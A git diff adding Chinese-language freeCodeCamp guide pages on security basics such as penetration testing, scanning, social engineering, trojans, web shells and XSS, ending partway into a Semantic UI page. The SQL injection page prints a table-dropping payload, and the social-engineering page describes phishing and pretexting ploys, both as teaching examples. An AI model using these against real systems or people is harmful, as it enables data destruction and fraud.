+4.  **外部渗透测试** - 此类渗透测试主要关注网络基础架构或服务器及其在基础架构下运行的软件。在这种情况下，道德黑客通过Internet使用公共网络尝试攻击。黑客企图通过攻击他们的网页，网络服务器，公共DNS服务器等来攻击公司基础设施。
+    
+5.  **内部渗透测试** - 在这种类型的渗透测试中，道德黑客在公司网络内部并从那里进行测试。
+    
+
+渗透测试还可能导致系统故障，系统崩溃或数据丢失等问题。因此，在进行渗透测试之前，公司应该采取计算风险。风险计算如下，这是一种管理风险。
+
+**风险=威胁×漏洞**
+
+## 例
+
+您有一个正在制作的在线电子商务网站。您希望在投入使用之前进行渗透测试。在这里，你必须首先权衡利弊。如果继续进行渗透测试，可能会导致服务中断。相反，如果您不希望执行渗透测试，那么您可能会面临一个未受修补的漏洞的风险，该漏洞始终是一个威胁。 在进行渗透测试之前，建议您以书面形式记下项目范围。你应该清楚要测试什么。例如 -
+
+*   您的公司有VPN或任何其他远程访问技术，您想要测试该特定点。
+*   您的应用程序具有带有数据库的Web服务器，因此您可能希望对SQL注入攻击进行测试，这是对Web服务器最重要的测试之一。此外，您还可以检查您的网络服务器是否对DoS攻击免疫。
+
+## 快速提示
+
+在进行渗透测试之前，您应该记住以下几点 - 首先了解您的要求并评估所有风险。
+
+*   聘请经过认证的人员进行渗透测试，因为他们经过培训，可以应用所有可能的方法和技术来发现网络或Web应用程序中可能存在的漏洞。
+*   在进行渗透测试之前始终签署协议。
+
+## 资源
+
+[渗透测试](https://en.wikipedia.org/wiki/Penetration_test)
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/proxies/index.md b/client/src/guide/chinese/security/proxies/index.md
new file mode 100644
index 0000000000..ed2d44f5f8
--- /dev/null
+++ b/client/src/guide/chinese/security/proxies/index.md
@@ -0,0 +1,27 @@
+---
+title: Proxies
+localeTitle: 代理
+---
+## 代理
+
+代理是服务器或充当客户端和服务器之间的中介的计算机网络。
+
+它们是不同类型的代理，包括但不限于：
+
+*   前瞻性代理
+*   反向代理
+*   透明代理
+*   网络代理
+
+今天最常见的是网络代理，它充当用户计算机和互联网之间的中介。
+
+这些代理的共同特征是：
+
+*   隐藏用户的IP地址，在网上冲浪时提供匿名性。
+*   允许用户访问具有阻止的IP地址的站点。
+
+#### 更多信息：
+
+[维基百科的代理服务器](https://en.wikipedia.org/wiki/Proxy_server)
+
+[TechTarget上的WhatIs代理服务器](http://whatis.techtarget.com/definition/proxy-server)
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/query-parameterization/index.md b/client/src/guide/chinese/security/query-parameterization/index.md
new file mode 100644
index 0000000000..f331eaf0e8
--- /dev/null
+++ b/client/src/guide/chinese/security/query-parameterization/index.md
@@ -0,0 +1,77 @@
+---
+title: Query Parameterization
+localeTitle: 查询参数化
+---
+## 查询参数化
+
+将程序连接到数据库时常见的错误是接受用户的输入并将其直接应用于数据库而不先检查它。这是一个危险的习惯，您可能会听到更多有经验的开发人员警告其他人“清理输入”或“参数化查询”。
+
+让我们从一个展示问题的简短示例开始：
+
+_（以下代码片段是用C＃编写的，但是这个概念适用于任何语言和数据库）_
+
+### 问题
+
+```csharp
+public void RetrieveEmployeeInfo(string username) 
+ { 
+    using (var connection = new MySqlConnection("valid_connection_string")) 
+    { 
+        var query = "SELECT * FROM EMPLOYEES WHERE USERNAME = '" + username + "'"; 
+ 
+        using (var command = new MySqlCommand(query, connection)) 
+        { 
+            var reader = command.ExecuteReader(); 
+            while (reader.Read()) 
+            { 
+                // do something with the results of your query, like display the employee 
+            } 
+        } 
+    } 
+ } 
+```
+
+乍一看，这似乎相当无害。如果用户在您的程序中键入“JDOE”，并将其传递给此函数，您最终将执行如下查询：
+
+```sql
+SELECT * FROM EMPLOYEES WHERE USERNAME = 'JDOE'; 
+```
+
+当您考虑如果用户_未_键入您期望的内容时会发生什么，问题就会变得更加明显。如果他们输入类似`JDOE'; DROP TABLE EMPLOYEES; --`怎样`JDOE'; DROP TABLE EMPLOYEES; --` ？您的“查询”字符串现在看起来像这样，它将选择员工信息，然后删除整个EMPLOYEES表！
+
+```sql
+SELECT * FROM EMPLOYEES WHERE USERNAME = 'JDOE'; DROP TABLE EMPLOYEES; --' 
+```
+
+### 解决方案
+
+为了防止这样的问题，我们可以参数化我们的查询。让我们看另一个例子：
+
+```csharp
+public void RetrieveEmployeeInfo(string username) 
+ { 
+    using (var connection = new MySqlConnection("valid_connection_string")) 
+    { 
+        var query = "SELECT * FROM EMPLOYEES WHERE USERNAME = @username"; 
+ 
+        using (var command = new MySqlCommand(query, connection)) 
+        { 
+            command.Parameters.AddWithValue("username", username); 
+ 
+            var reader = command.ExecuteReader(); 
+            while (reader.Read()) 
+            { 
+                // do something with the results of your query, like display the employee 
+            } 
+        } 
+    } 
+ } 
+```
+
+现在如果用户键入`JDOE'; DROP TABLE EMPLOYEES; --`会发生什么`JDOE'; DROP TABLE EMPLOYEES; --` ？我们的程序最终执行这样的查询，并且找不到其用户名实际上与该输入匹配的员工，只返回没有记录。
+
+```sql
+SELECT * FROM EMPLOYEES WHERE USERNAME = 'JDOE\'; DROP TABLE EMPLOYEES; --' 
+```
+
+无论您使用哪种语言或数据库，如果考虑使用用户输入查询数据库，请查看文档以了解参数化查询的正确方法。
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/scanning/index.md b/client/src/guide/chinese/security/scanning/index.md
new file mode 100644
index 0000000000..f198e0c5b6
--- /dev/null
+++ b/client/src/guide/chinese/security/scanning/index.md
@@ -0,0 +1,84 @@
+---
+title: Scanning
+localeTitle: 扫描
+---
+# 扫描
+
+## 介绍
+
+网络扫描是指用于识别网络上的主机，帖子和服务的一组过程。
+
+扫描活动可能涉及检查网络上的开放端口，横幅抓取和创建网络图。
+
+## 扫描技术
+
+扫描网络的最常用方法之一是称为Ping扫描的技术。这可以确定一系列IP地址上的实时主机。一个非常简单的例子就是转到命令行并输入`ping 8.8.8.8` 。这将向主机发送[ICMP](https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol) ECHO请求，在这种情况下，它将是Google的公共DNS。
+
+不同的Internet协议需要不同的扫描方法;例如，扫描[TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol)网络与扫描[UDP](https://en.wikipedia.org/wiki/User_Datagram_Protocol)网络不同。
+
+TCP扫描通常利用TCP运行的方式以及TCP如何通过“握手”来启动网络通信：
+
+1.  设备（主机A）将发送`SYN`消息以尝试通过网络与另一设备通信（服务器B）
+2.  B需要用`SYN`和`ACK`回复A以确认A的开始通信请求
+3.  A需要发回`ACK`消息以确认B的响应
+4.  然后可以开始沟通
+
+在整个通信过程中，每个参与者在尝试发起会话时都会发送一些信息。
+
+请注意，您还可以扫描IPv6网络（IPv6会增加IP地址大小以使更多地址可用）。
+
+有更多类型的[扫描](https://nmap.org/bennieston-tutorial/)进一步滥用TCP握手过程。这些包括IDLE扫描，Xmas树扫描，反向TCP扫描和完全扫描。
+
+## 在渗透测试中扫描
+
+扫描是渗透测试的典型五个阶段中的第二阶段。扫描阶段需要使用技术工具来收集关于目标的进一步情报，但在这种情况下，所寻求的英特尔更常见于他们所拥有的系统。 1
+
+主要有三个目标：
+
+1.  确定系统是否还活着
+2.  端口扫描系统
+3.  扫描系统漏洞2
+
+### 确定系统是否还活着
+
+确定目标系统是否处于活动状态的一种方法是使用**ping**命令，如上面的Ping扫描技术中所述。
+
+例如：
+```
+ping <target_ip_address> -c <number_of_packets_to_send> 
+ ping 10.10.0.1 -c 4 
+```
+
+如果目标系统处于活动状态，您应该得到类似于下面的响应。
+```
+Pinging 10.10.0.1 with 32 bytes of data: 
+ 
+ Reply from 10.0.0.1: bytes=32 time=26ms TTL=240 
+ Reply from 10.0.0.1: bytes=32 time=26ms TTL=240 
+ Reply from 10.0.0.1: bytes=32 time=26ms TTL=240 
+ Reply from 10.0.0.1: bytes=32 time=26ms TTL=240 
+ Ping statistics for 10.10.0.1: 
+    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
+ Approximate round trip times in milliseconds: 
+    Minimum = 26ms, Maximum = 26ms, Average = 26ms 
+```
+
+*   **回复来自**表示我们的ICMP Echo Request数据包已收到ICMP Echo Reply数据包已发回。
+*   **Bytes = 32**告诉我们发送的数据包的大小。
+*   **time = 26ms**让我们知道ICMP Echo Request数据包到达目标所花费的总时间以及ICMP Echo Reply数据包返回我们机器的时间。
+*   **TTL = 240**是生存时间值，它告诉我们数据包在丢弃之前所需的最大跳数。
+
+## 扫描工具
+
+有许多工具可供扫描，但最常见的一种是`nmap` 。它是一个非常有用的工具，具有获取有关网络上实时主机的信息，正在运行的服务以及所使用的操作系统的类型和版本等功能。
+
+## 更多信息：
+
+*   如何在Linux中Ping？https://www.wikihow.com/Ping-in-Linux
+*   [视频来自Gordon Lyon aka Fydor，nmap工具的创建者](https://www.youtube.com/watch?v=Hk-21p2m8YY)
+
+## 来源
+
+1.  总结渗透测试的五个阶段。 （2015年5月6日）。检索2017年10月26日，来自https://www.cybrary.it/2015/05/summarizing-the-five-phases-of-penetration-testing/
+
+3.  Engebretson，P。（2013）。黑客和渗透测试的基础知识：道德黑客和渗透测试轻松编辑。 2. Syngress。
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/social-engineering/index.md b/client/src/guide/chinese/security/social-engineering/index.md
new file mode 100644
index 0000000000..3037e3b3ba
--- /dev/null
+++ b/client/src/guide/chinese/security/social-engineering/index.md
@@ -0,0 +1,50 @@
+---
+title: Social Engineering
+localeTitle: 社会工程学
+---
+## 社会工程学
+
+社会工程是通过利用人类行为获得对安全系统或资源的访问的艺术。它涉及欺骗人们破坏正常的安全程序。大多数攻击媒介严重依赖于利用技术技能来发现安全系统中的漏洞。社会工程在很大程度上依赖于对人类心理的良好理解。在攻击之前彻底研究目标使得社交工程成为攻击者手中的强大工具。
+
+#### 一个好的社会工程黑客的特征
+
+*   表现出高度的情商
+*   直观地理解人类心理学
+*   迷人而有说服力
+*   耐心和观察力
+*   善于预测人类行为的基础是利用人类需要帮助，好奇，贪婪和徒劳
+
+#### 社交工程的一些例子很糟糕
+
+*   诱饵：在咖啡店留下一个受恶意软件感染的USB，希望有人好奇，可以将其插入并检查出来。一旦此人插入USB，恶意软件就会安装在他们的计算机上。请参阅“更多信息”，了解黑帽谈论将受感染的USB驱动器留给潜在目标以及此类攻击的结果。
+    
+*   Pretexting：告诉谎言以获取私人信息。一个例子是冒充银行官员并要求人们提供个人信息以“确认他们的账户”。请参阅“更多信息”以获取预发短信示例，其中社交工程师使用非常少的已知信息对目标的手机帐户进行更改。
+    
+*   网络钓鱼：发送一封看似来自可靠来源的电子邮件，诱饵用户点击链接（安装恶意软件）或回复私人信息。 请参阅“更多信息”以获取测试您的网络钓鱼知识的链接，看看您是否可以区分真实电子邮件和网络钓鱼电子邮件之间的区别。
+    
+*   渗透：模仿合法的人以获得对建筑物/办公室等的物理访问，例如咖啡机维修人员
+    
+
+#### 预防和安全
+
+由于社交工程需要很少的计算机经验，因此对于希望访问敏感数据的个人而言，它是一种易于使用的工具。
+
+个人可以采取以保护自己免受这些攻击的步骤包括：
+
+*   如果可能，请尽量避免共享敏感数据。
+*   如果必须共享，请在为其提供敏感数据之前验证源。
+*   请注意随机发送的电子邮件或电话号码，声称是朋友，家人，同事，机构等。
+*   要意识到现实生活中的人们需要他们不一定需要的信息。
+*   在扔掉之前销毁重要文件。
+
+一般来说，你对这些攻击的了解越多，你就越有准备。要与谁分享信息以及为什么这样做是很有意义的。
+
+#### 更多信息：
+
+*   [什么是社会工程？](https://www.webroot.com/us/en/home/resources/tips/online-shopping-banking/secure-what-is-social-engineering)
+*   [保护自己免受社会工程攻击](http://www.makeuseof.com/tag/protect-8-social-engineering-attacks/)
+*   [7个最好的社交工程黑客](https://www.darkreading.com/the-7-best-social-engineering-attacks-ever/d/d-id/1319411?)
+*   [黑客攻击：社会工程技术以及如何防范他们](https://www.youtube.com/watch?v=YVqurfWzB-Q)
+*   [在停车场和其他地方丢弃USB驱动器真的有用吗？](https://www.youtube.com/watch?v=XJCQBqTmGUU)
+*   [Pretexting的例子](https://www.youtube.com/watch?v=lc7scxvKQOo)
+*   [测试您的网络钓鱼智商](https://www.sonicwall.com/en-us/phishing-iq-test)
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/steganography/index.md b/client/src/guide/chinese/security/steganography/index.md
new file mode 100644
index 0000000000..d7c02963a0
--- /dev/null
+++ b/client/src/guide/chinese/security/steganography/index.md
@@ -0,0 +1,39 @@
+---
+title: Steganography
+localeTitle: 隐写术
+---
+## 隐写术
+
+隐写术是在其他文本，图像，文件或视频中隐藏文本，图像，文件或视频的概念。这个的离线示例是使用“隐形墨水”来隐藏字母行之间的消息。柠檬汁是隐形墨水的热门候选者： [柠檬汁隐形墨水](https://www.youtube.com/embed/poCnU_crpjQ)
+
+以下公式提供了隐写过程的非常一般的描述：
+
+覆盖_中等+隐藏_数据+隐写术_键= stegonography_ medium
+
+在此上下文中，封面_介质是隐藏隐藏_数据_的文件_ ，其也可以使用隐写_密钥_加密_。结果文件是隐写_介质。封面_媒体（以及因此，隐写_媒体）通常是图像或音频文件。
+
+### 图像中的隐写术
+
+在计算机上，图像存储为二进制文件。它们包含构成图像的每个图像元素（像素）的颜色或光强度的二进制表示。例如，这张狗的形象：
+
+![美国爱斯基摩犬](https://upload.wikimedia.org/wikipedia/commons/4/47/American_Eskimo_Dog.jpg)
+
+可能会从以下内容开始：
+```
+10010101   00001101   11001001 
+ 10010110   00001111   11001010 
+ 10011111   00010000   11001011 
+ ... 
+```
+
+将数据隐藏在图像文件中的最简单方法称为最低有效位（LSB）插入。在这种方法中，我们可以采用隐藏_数据_的二进制表示， _并覆盖封面_图像_中每个字节的LSB_ 。如果我们使用24位颜色，则变化量将是最小的并且与人眼无法区分。
+
+虽然JPEG可用于隐秘应用程序，但在GIF或BMP文件中嵌入数据更为常见。 GIF和8位BMP文件采用所谓的无损压缩，这种方案允许软件精确地重建原始图像。另一方面，JPEG使用有损压缩，这意味着扩展图像与原始图像几乎相同，但不是精确复制。
+
+这个简短的演示将让您在图像中设置编码文本！ https://github.com/edwdryer/steganography-demo 您可以在此处阅读有关图像中隐写术的更多信息：http：//www.garykessler.net/library/steganography.html
+
+### 音频中的隐写术
+
+音频隐写术是一种用于通过以不可察觉的方式修改音频信号来发送隐藏信息的技术。
+
+这篇博文提供了一个隐藏音频文件中图像的例子（哇）！ https://solusipse.net/blog/post/basic-methods-of-audio-steganography-spectrograms/
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/tools/index.md b/client/src/guide/chinese/security/tools/index.md
new file mode 100644
index 0000000000..79be0bb3b9
--- /dev/null
+++ b/client/src/guide/chinese/security/tools/index.md
@@ -0,0 +1,11 @@
+---
+title: Security Tools
+localeTitle: 安全工具
+---
+## 安全工具
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/security/tools/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/tor/index.md b/client/src/guide/chinese/security/tor/index.md
new file mode 100644
index 0000000000..4b7179166f
--- /dev/null
+++ b/client/src/guide/chinese/security/tor/index.md
@@ -0,0 +1,26 @@
+---
+title: Tor (The Onion Router)
+localeTitle: Tor（洋葱路由器）
+---
+![Tor徽标](https://upload.wikimedia.org/wikipedia/commons/thumb/1/15/Tor-logo-2011-flat.svg/2000px-Tor-logo-2011-flat.svg.png)
+
+## 托尔
+
+Tor代表“洋葱路由器”，这是一个免费软件，帮助匿名化用户的互联网使用，由Tor项目维护。
+
+除了洋葱路由器之外，Tor项目还维护着一套软件，最常见的是网络浏览器，通常也是如此 叫Tor。
+
+洋葱网络的工作原理是通过一个庞大的全球性志愿者计算机网络来反馈用户的请求。它通过加密的系统发送请求，只有当它们到达“退出节点”时才解密它们，在请求发送到目的地之前，网络中的最后一台计算机用于任何给定的请求。这使得消息看起来像是来自实际发起的地方之外的某个地方。
+
+Tor有很多用例。记者报道他们的生活可能因他们正在破坏的故事的性质，告密者以及生活在压迫政权中的人们而受到威胁的记者都适合Tor更加善意的用例，以及任何对网络匿名感兴趣的人。
+
+由于其刑事使用案例，Tor受到了很多负面关注。犯罪分子，例如毒贩，可以并且经常使用Tor来掩盖他们的踪迹，并建立“黑暗市场”来销售他们的商品而不会损害他们自己。 AlphaBay和Hansa的2017年停工肯定证明这不是万无一失的。
+
+美国国家安全局的举报人爱德华•斯诺登（Edward Snowden）已经将Tor作为一个非常好的组合计划提到了优秀。众所周知，被泄露的内部NSA备忘录称其为“高安全，低延迟互联网匿名之王”等待王位没有竞争者。
+
+Tor有许多其他用例。记者报道他们的生活可能因他们正在破坏的故事的性质，告密者和生活在压迫性政权中的人们而受到威胁的报道都符合Tor更加良性的用例，以及对网络匿名感兴趣的任何人。这很重要，因为日常事物会让我们失去越来越多的隐私，TOR之类的东西确保了更光明的未来。
+
+#### 更多信息：
+
+[Tor项目](https://www.torproject.org)  
+[NSA和GCHQ试图破解Tor](https://www.theguardian.com/world/2013/oct/04/nsa-gchq-attack-tor-network-encryption)
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/traceroute/index.md b/client/src/guide/chinese/security/traceroute/index.md
new file mode 100644
index 0000000000..e452150b8b
--- /dev/null
+++ b/client/src/guide/chinese/security/traceroute/index.md
@@ -0,0 +1,65 @@
+---
+title: Traceroute
+localeTitle: 跟踪路由
+---
+**目录**
+
+*   [跟踪路由](#traceroute)
+*   [数据如何通过互联网传播](#how-data-travels-across-the-internet)
+*   [用法的一些示例](#some-examples-for-usage)
+*   [更多信息](#more-information)
+
+## 跟踪路由
+
+Traceroute是一种计算机网络诊断工具，用于显示路径（路径）和测量Internet协议（IP）网络上数据包的传输延迟。路由的历史记录为从路径（路径）中的每个连续主机（远程节点）接收的分组的往返时间;每一跳的平均次数之和是建立连接所花费的总时间的度量。 Traceroute继续进行，除非所有（三个）发送的数据包丢失超过两次，然后连接丢失并且无法评估路由。另一方面，Ping仅计算从目的地点开始的最终往返时间。
+
+#### 数据如何通过互联网传播
+
+traceroute上的每台计算机都由其IP地址标识，该IP地址是由标识该计算机唯一网络连接的句点分隔的九位数字。以下是有关traceroute的一些详细信息：
+```
+- The journey from one computer to another is known as a hop. 
+ - The amount of time it takes to make a hop is measured in milliseconds. 
+ - The information that travels along the traceroute is known as a packet. 
+```
+
+traceroute读数通常会为跳跃时间显示三个单独的列，因为每个traceroute会向每台计算机发送三个单独的信息包。在列表的最顶部，traceroute将给出它将显示多少跳的限制--30跳通常是最大数。
+
+当traceroute无法访问计算机时，它将显示消息“请求超时”。每个跃点列将显示星号而不是毫秒计数。
+
+#### 用法的一些示例
+
+大多数实现至少包括用于指定每跳发送的查询数，等待响应的时间，跳跃限制和要使用的端口的选项。调用没有指定选项的traceroute会显示可用选项列表，而man traceroute会显示更多详细信息，包括显示的错误标志。 Linux上的简单示例：
+```
+[root@example ~]#  traceroute -w 3 -q 1 -m 16 www.google.com 
+ traceroute to www.google.com (216.58.200.36), 16 hops max, 60 byte packets 
+ 1  192.168.4.2 (192.168.4.2)  0.136 ms 
+ 2  * 
+ 3  * 
+ 4  * 
+ 5  * 
+ 6  * 
+ 7  * 
+ 8  * 
+ 9  * 
+ 10  * 
+ 11  * 
+ 12  * 
+ 13  * 
+ 14  * 
+ 15  * 
+ 16  * 
+```
+
+在上面的示例中，所选的选项是等待三秒（而不是五秒），每个跳（而不是三个）只发送一个查询，在放弃之前将最大跳数限制为16（而不是30），将www.google.com作为最终主持人。
+
+这有助于识别可能阻止ICMP流量或Unix ping中的高端口UDP到站点的错误路由表定义或防火墙。请注意，防火墙可能允许ICMP数据包，但不允许其他协议的数据包。
+
+渗透测试人员还使用Traceroute来收集有关给定主机周围的网络基础结构和IP范围的信息。
+
+它也可以在下载数据时使用，如果有多个镜像可用于同一条数据，则可以跟踪每个镜像，以便更好地了解哪个镜像最快使用。
+
+#### 更多信息
+
+阅读有关Traceroute的更多信息：
+
+*   [如何在Windows中使用TRACERT](https://support.microsoft.com/en-us/help/314868/how-to-use-tracert-to-troubleshoot-tcp-ip-problems-in-windows) - [如何在Linux中使用TRACERT](https://www.lifewire.com/traceroute-linux-command-4092586)
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/trojans/index.md b/client/src/guide/chinese/security/trojans/index.md
new file mode 100644
index 0000000000..e4c4999060
--- /dev/null
+++ b/client/src/guide/chinese/security/trojans/index.md
@@ -0,0 +1,34 @@
+---
+title: Trojans
+localeTitle: 木马
+---
+## 木马
+
+### 什么是木马？
+
+特洛伊木马是误导用户真实目的的程序或软件。它们通常是恶意的或有害的。
+
+一个例子是您从互联网上下载的程序，它声称是一个图像编辑器，但实际上，当您打开它时，恶意软件会传播到您的计算机上。
+
+### 特洛伊木马做什么？
+
+*   **创建后门程序：**特洛伊木马程序通常会对您的安全系统进行更改，以便其他恶意软件或黑客可以进入。
+*   **间谍：**一些特洛伊木马本质上是间谍软件，旨在等到您访问您的在线帐户或输入您的信用卡详细信息，然后将您的密码和其他数据发送回他们的主人。
+*   **把你的电脑变成僵尸！**有时，黑客对你不感兴趣，但只是想把你的计算机作为他或她控制下的网络中的奴隶使用。
+*   **发送昂贵的短信：**即使智能手机获得特洛伊木马，犯罪分子最常见的赚钱方式就是使用它们让您的手机向高级号码发送昂贵的短信。
+
+### 对开发人员的重要性
+
+作为开发人员，了解特洛伊木马及其传播方式尤为重要。特洛伊木马通常通过合法网站上的“逐个下载”来安装。如果攻击者可以访问您网站的托管环境，他们可以对您的代码进行细微更改，从而导致您的网站访问者自动下载该特洛伊木马。
+
+### 特洛伊木马是什么样的？
+
+它看起来像任何东西。主要是从不受信任的网站下载的文件。
+
+### 我如何保护自己免受特洛伊木马攻击？
+
+远离不受信任的网站，盗版材料和怀疑链接。 如果您真的想保持受保护，可以使用第三方软件，如反恶意软件。
+
+#### 更多信息：
+
+[维基百科上的特洛伊木马（计算）](https://en.wikipedia.org/wiki/Trojan_horse_(computing)) [特洛伊木马基础 - 由AVG提供](https://www.avg.com/en/signal/what-is-a-trojan)
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/vpn/index.md b/client/src/guide/chinese/security/vpn/index.md
new file mode 100644
index 0000000000..bed7e6bc79
--- /dev/null
+++ b/client/src/guide/chinese/security/vpn/index.md
@@ -0,0 +1,11 @@
+---
+title: VPNs
+localeTitle: VPN的
+---
+## VPN的
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/security/vpn/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/web-shells/index.md b/client/src/guide/chinese/security/web-shells/index.md
new file mode 100644
index 0000000000..ed6a547b37
--- /dev/null
+++ b/client/src/guide/chinese/security/web-shells/index.md
@@ -0,0 +1,20 @@
+---
+title: Web Shell
+localeTitle: Web Shell
+---
## Web Shell
+
+### 什么是Web Shell？
+
+它是一种恶意软件。它是一个可以在Web服务器上运行命令的shell。
+
+### Web Shell做什么？
+
+*   实际上你可以使用web shell做太多事情，你可以访问数据库，你可以转储所有数据，你可以删除一些东西 在服务器上或添加一些东西（如后门）。实际上这是关于你的web shell功能，你使用或创建的。
+
+### Web Shell看起来像什么？
+
+它看起来像.php文件或.asp文件关于你的web服务器（它可以是linux或windows服务器）。
+
+### 如何保护自己免受Web Shell的攻击？
+
+远离意大利面条代码，在项目中使用已知的设计模式，特别要小心你的html上传表格 过滤您在服务器上上传的内容，不要信任用户。
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/wireshark/index.md b/client/src/guide/chinese/security/wireshark/index.md
new file mode 100644
index 0000000000..d36577d30e
--- /dev/null
+++ b/client/src/guide/chinese/security/wireshark/index.md
@@ -0,0 +1,56 @@
+---
+title: Wireshark
+localeTitle: Wireshark的
+---
+## Wireshark的
+
+Wireshark是一个开源网络分析器应用程序，可用于Linux，macOS和Windows。它允许您“嗅探”发送到网络上不同节点的[数据包](../../network-engineering/packets/) 。
+
+#### 为什么要使用Wireshark？
+
+Wireshark是一个功能强大的工具，您可以使用它来：
+
+*   了解在网络中如何使用不同的协议
+*   解决网络问题
+*   分析通过您的网络的流量
+*   分析软件与远程服务器通信的数据
+*   在发送之前验证数据是否已正确加密
+*   开发网络通信协议
+*   检查计算机上的[特洛伊木马程序](../trojans/)或其他恶意软件
+
+#### 我该如何开始？
+
+以最基本的形式使用Wireshark：
+
+1.  [下载](https://www.wireshark.org/download.html)并安装该应用程序。
+2.  选择要捕获数据包的`interface` ，这很可能是您的以太网或WiFi适配器。
+3.  观看漂亮的彩色编码数据包流，让应用程序捕获它们，只要您愿意。
+4.  如果有足够的数据包，请选择停止按钮。
+5.  如果要保留捕获的数据包以进行持续分析，请保存它们。这是作为`.pcap`文件完成的，该文件是_数据包捕获_的标准格式。
+
+![Screenshot of Wireshark on MacOS](https://thejayhaykid.github.io/images/Wireshark.png "MacOS上的Wireshark")
+
+#### 分析，过滤和检查
+
+现在你有一堆数据包，但这一切意味着什么？您看到的不同颜色表示不同类型的流量。默认情况下，一些颜色是：
+
+*   浅紫色 - 传输控制协议（TCP）数据包;
+*   浅蓝色 - 用户数据报协议（UDP）数据包;
+*   黑色 - 错误
+
+> 注意：这些颜色都可以自定义，但要注意每个数据包可能适合多个类别，因此您还必须优先考虑这些规则。
+
+过滤数据包是查找所需内容的快捷方式。只需在窗口顶部输入文本输入，只显示与您的查询匹配的数据包。例如，如果您正在[查看HTTPS流量](https://en.wikiversity.org/wiki/Wireshark/HTTPS) ，请在过滤器中输入`ssl` 。这将显示与HTTPS连接相关的所有数据包。
+
+现在您已找到一些相关数据包，选择一个以查看有关它的更多详细信息。根据您检查的数据包类型，这将为您提供大量详细信息。一些基本细节将包括：
+
+*   使用的协议
+*   源地址和端口
+*   目的地址和端口
+*   响应时间
+
+### 更多信息：
+
+[Wireshark.org](https://www.wireshark.org)  
+[Wireshark - 维基百科](https://en.wikipedia.org/wiki/Wireshark)  
+[如何使用Wireshark捕获，过滤和检查数据包 - 如何使用Geek](https://www.howtogeek.com/104278/how-to-use-wireshark-to-capture-filter-and-inspect-packets/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/security/xss-cross-site-scripting/index.md b/client/src/guide/chinese/security/xss-cross-site-scripting/index.md
new file mode 100644
index 0000000000..a8030831f3
--- /dev/null
+++ b/client/src/guide/chinese/security/xss-cross-site-scripting/index.md
@@ -0,0 +1,41 @@
+---
+title: XSS Cross Site Scripting
+localeTitle: XSS跨站点脚本
+---
+## XSS跨站点脚本
+
+跨站点脚本（XSS）是一种代码注入。它是Web上最常见的漏洞之一。
+
+XSS通常涉及将代码输入到表单，url参数或接受显示回用户的用户输入的任何其他位置。例如，想象一个显示您的用户配置文件的网站，并输入`<script>alert("HELLO!");</script>`作为您的用户名。如果该网站没有阻止XSS，那么访问您个人资料的每个人都会收到一个警告弹出窗口。
+
+#### 不同类型的XSS
+
+有3种不同类型的XSS。
+
+*   存储XSS
+*   反射XSS
+*   基于DOM的XSS
+
+#### XSS的危险
+
+当然，上述示例对查看您的个人资料的人没有任何直接危险。但是，如果你有更多险恶的意图怎么办？您可以执行一些javascript来显示虚假登录页面，并为该站点的其他用户收集用户名和密码，或者只是在不安全的情况下读取会话cookie。您可以强制他们访问其他网站或执行操作。
+
+#### 抵御XSS
+
+*   绝不信任用户数据
+*   验证不受信任的数据（检查有效数据，如果无效，则拒绝而不是处理）
+*   白名单安全值（而不是黑名单）
+*   始终编​​码输出
+*   编码正确的上下文（HTML / HTML属性/ CSS / JSS都不同）
+*   保护cookie（仅限HTTP和安全只能由服务器读取）
+*   实施内容安全策略
+
+#### 更多信息：
+
+阅读有关XSS的更多信息以及您可以采取的防范步骤来自：
+
+[跨站点脚本（XSS）](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) ）
+
+[OWASP XSS（跨站点脚本）预防备忘单](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)
+
+[Hacksplaining XSS课程](https://www.hacksplaining.com/exercises/xss-stored)
\ No newline at end of file
diff --git a/client/src/guide/chinese/semantic-ui/index.md b/client/src/guide/chinese/semantic-ui/index.md
new file mode 100644
index 0000000000..ef62557830
--- /dev/null
+++ b/client/src/guide/chinese/semantic-ui/index.md
@@ -0,0 +1,101 @@
+---
+title: Semantic UI
+localeTitle: 语义UI
+---
+## 语义UI
+
+#### 介绍
+
+语义UI是一个前端开发框架，类似于为主题设计的bootstrap。它包含预先构建的语义组件，可帮助使用人性化的HTML创建美观且响应迅速的布局。
+
+根据Semantic UI网站，该框架利用简洁的HTML，直观的JavaScript和简化的调试，使前端开发成为一种有趣和愉快的体验。它与React，Angular，Meteor，Ember和许多其他框架集成，以帮助组织UI层和应用程序逻辑。
+
+#### 版本历史
+
+第一个预发布版本于2013年9月在github上出现，由[Jack Lukic](https://github.com/jlukic)创建。
+
+Semantic UI `1.x`于2014年11月首次发布，对以前的预发行版进行了重大更改。
+
+Semantic UI `2.x`于2015年6月首次发布，并引入了新的ui，一些错误修复，增强功能和默认主题改进。
+
+#### 浏览器支持
+
+当前版本`2.2.x`支持以下浏览器
+
+*   最新的2个版本FF，Chrome，Safari Mac
+*   IE 11+
+*   Android 4.4及更高版本，适用于Android 44+的Chrome
+*   iOS Safari 7+
+*   Microsoft Edge 12+
+
+#### 安装
+
+有几种方法可以安装Semantic UI，其中一些最简单的方法如下：
+
+1.  **通过内容分发网络（CDN）**
+
+对于初学者来说，它是迄今为止最容易的。创建一个HTML文件，如下所示
+
+```html
+
